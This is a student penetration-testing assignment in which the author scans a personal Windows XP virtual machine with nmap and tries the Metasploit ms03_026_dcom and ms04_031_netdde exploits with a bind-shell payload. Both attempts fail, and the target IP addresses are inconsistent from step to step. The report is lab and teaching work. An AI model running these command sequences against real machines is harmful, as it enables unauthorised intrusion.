5212 Assignment 1

Mengxue Ni

Executive Summary

I downloaded an Windows XP 32 bit ISO to build up a penetration virtual environment for my own. I have used Windows XP system years ago, and enjoyed using it. However, I saw a lot of news that related to vulnerability of Windows XP system. I want to start an experiment by using metasploit. The target machine’s IP address is 192.168.116.133.

Here are the steps that I took:

|  |  |
| --- | --- |
| STEPS | RESULTS |
| Nmap -O 192.168.116.133 | 2869/tcp closed icslap (firewall is still on for the target computer) |
| Metasploit-msfconsole |  |
| use auxiliary/scanner/portscan/tcp |  |
| show options |  |
| set ports 1-500 |  |
| set rhost 192.168.16.133 |  |
| Run (turned off the firewall) | 192.168.166.133.135-TCP OPEN  192.168.166.133.139-TCP OPEN  192.168.166.133.445-TCP OPEN |
| Metasploit-msfconsole |  |
| Search dcom | exploit/windows/dcerpc/ms03\_026\_dcom  exploit/windows/smb/ms04\_031\_netdde  exploit/windows/smb/psexec\_psh |
| use exploit/windows/dcerpc/ms03\_026\_dcom |  |
| set RHOST 192.168.63.131 |  |
| set PAYLOAD windows/shell\_bind\_tcp |  |
| exploit | Exploit completed, but no session was created |
| use exploit/ms04\_031\_netdde |  |
| exploit | Exploit completed, but no session was created |

It is very interesting to use metasploit to exploit the Windows XP computer. I should be able to hack into the computer by taking these steps. But I found that I was unable to create session at the last step. I searched about it, it said this kind of situation occurs if one of the following happens: 1. The exploit you use doesn't work against the target you selected. Could be the exploit is for a different version, there is a problem with the exploit code, or there is a problem with the target configuration.

2. The exploit you use was configured to use a payload that doesn't create an interactive session. In this case, the framework has no way of knowing whether the exploited worked, because it doesn't receive a connection from the target when its successful.

I didn’t solve the problem yet, if anyone knows how to solve it please let me know. I would love to finish the exploit and see what I can do after I get into the Windows XP computer.

Overall, based on my experiment, Windows XP 32 bit system is vulnerable for attackers. The firewall does have some protections, but it is very fragile. I know many hospitals are still using Windows XP computers which could lead to a serious information leak because of the system itself.

References

<http://theconversation.com/hack-attack-on-a-hospital-it-system-highlights-the-risk-of-still-running-windows-xp-53431>

<https://dev.metasploit.com/pipermail/framework/2007-May/002302.html>

<http://www.kalitutorials.net/2014/02/penetration-testing-hacking-windows.html>

<http://www.kalitutorials.net/2014/02/penetration-testing-hacking-xp.html>

<http://picateshackz.com/2015/01/metasploit-tutorial-hacking-windows-xp-using-ip-address.html>

https://informationtreasure.wordpress.com/2014/07/24/penetration-testing-hacking-xp/